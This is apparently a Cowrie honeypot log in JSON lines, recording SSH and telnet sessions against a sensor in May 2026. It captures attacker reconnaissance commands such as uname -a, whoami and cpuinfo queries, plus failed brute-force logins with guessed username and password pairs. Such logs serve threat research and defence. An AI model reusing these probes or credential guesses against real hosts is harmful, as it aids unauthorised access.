{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:13.440403Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:13.443881Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:13.677514Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:14.188755Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:14.192371Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:14.425997Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:14.930799Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:14.935424Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:15.170128Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:15.694745Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:15.698665Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:15.936722Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:16.444520Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:16.448313Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:16.682058Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:17.189764Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:17.193356Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:17.432214Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:17.934569Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:17.938631Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:18.172918Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:18.703294Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:18.708215Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:18.943458Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:19.440129Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:19.443688Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:19.679219Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.0","message":"Connection lost after 20.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:19.684421Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":47670,"dst_ip":"159.203.135.109","dst_port":22,"session":"86554308bcd2","protocol":"ssh","message":"New connection: 202.125.94.71:47670 (159.203.135.109:22) [session: 86554308bcd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:31.288875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:31.294255Z","src_ip":"202.125.94.71","session":"86554308bcd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:31.557374Z","src_ip":"202.125.94.71","session":"86554308bcd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@2023","message":"login attempt [frappe/frappe@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:32.627403Z","src_ip":"202.125.94.71","session":"86554308bcd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:33.889339Z","src_ip":"202.125.94.71","session":"86554308bcd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.489845752716064,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:41.804325Z","src_ip":"45.58.127.90","session":"7973c999940b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":22792,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2c292ce3d29","protocol":"ssh","message":"New connection: 213.209.159.56:22792 (10.17.0.5:22) [session: b2c292ce3d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:48.680027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:48.684967Z","src_ip":"213.209.159.56","session":"b2c292ce3d29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:48.770737Z","src_ip":"213.209.159.56","session":"b2c292ce3d29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"federico","password":"federico","message":"login attempt [federico/federico] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:49.171110Z","src_ip":"213.209.159.56","session":"b2c292ce3d29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"federico","password":"federico1","message":"login attempt [federico/federico1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:50.256807Z","src_ip":"213.209.159.56","session":"b2c292ce3d29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"federico","password":"federico123","message":"login attempt [federico/federico123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:51.341877Z","src_ip":"213.209.159.56","session":"b2c292ce3d29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"federico","password":"federico1234","message":"login attempt [federico/federico1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:52.426426Z","src_ip":"213.209.159.56","session":"b2c292ce3d29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"federico","password":"federico12345","message":"login attempt [federico/federico12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:53.511690Z","src_ip":"213.209.159.56","session":"b2c292ce3d29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:54.595769Z","src_ip":"213.209.159.56","session":"b2c292ce3d29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":51610,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc735839fdb1","protocol":"ssh","message":"New connection: 103.88.76.27:51610 (159.203.135.109:22) [session: cc735839fdb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:56.592805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:56.597388Z","src_ip":"103.88.76.27","session":"cc735839fdb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:56.868064Z","src_ip":"103.88.76.27","session":"cc735839fdb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"1q2w3e4r","message":"login attempt [hadoop/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:57.982443Z","src_ip":"103.88.76.27","session":"cc735839fdb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:59.257267Z","src_ip":"103.88.76.27","session":"cc735839fdb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33452,"dst_ip":"10.17.0.5","dst_port":23,"session":"201b88fe2a21","protocol":"telnet","message":"New connection: 45.58.127.90:33452 (10.17.0.5:23) [session: 201b88fe2a21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:32:05.053100Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.64.105.237","src_port":43392,"dst_ip":"159.203.135.109","dst_port":23,"session":"33484d7818bc","protocol":"telnet","message":"New connection: 20.64.105.237:43392 (159.203.135.109:23) [session: 33484d7818bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:32:10.840794Z"}
{"eventid":"cowrie.session.closed","duration":10.045718431472778,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:32:20.886345Z","src_ip":"20.64.105.237","session":"33484d7818bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.64.105.237","src_port":47718,"dst_ip":"159.203.135.109","dst_port":23,"session":"465a88946369","protocol":"telnet","message":"New connection: 20.64.105.237:47718 (159.203.135.109:23) [session: 465a88946369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:32:20.925470Z"}
{"eventid":"cowrie.session.closed","duration":0.05609321594238281,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:32:20.981434Z","src_ip":"20.64.105.237","session":"465a88946369","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":40210,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1108fc75e93","protocol":"ssh","message":"New connection: 202.125.94.71:40210 (159.203.135.109:22) [session: b1108fc75e93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:32:26.850079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:32:26.854469Z","src_ip":"202.125.94.71","session":"b1108fc75e93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:32:27.113829Z","src_ip":"202.125.94.71","session":"b1108fc75e93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"welcome1","message":"login attempt [ubuntu/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:32:28.181902Z","src_ip":"202.125.94.71","session":"b1108fc75e93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:32:29.444095Z","src_ip":"202.125.94.71","session":"b1108fc75e93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.229.164.17","src_port":43120,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdd0d4a6f8dd","protocol":"telnet","message":"New connection: 91.229.164.17:43120 (159.203.135.109:23) [session: fdd0d4a6f8dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:32:36.845004Z"}
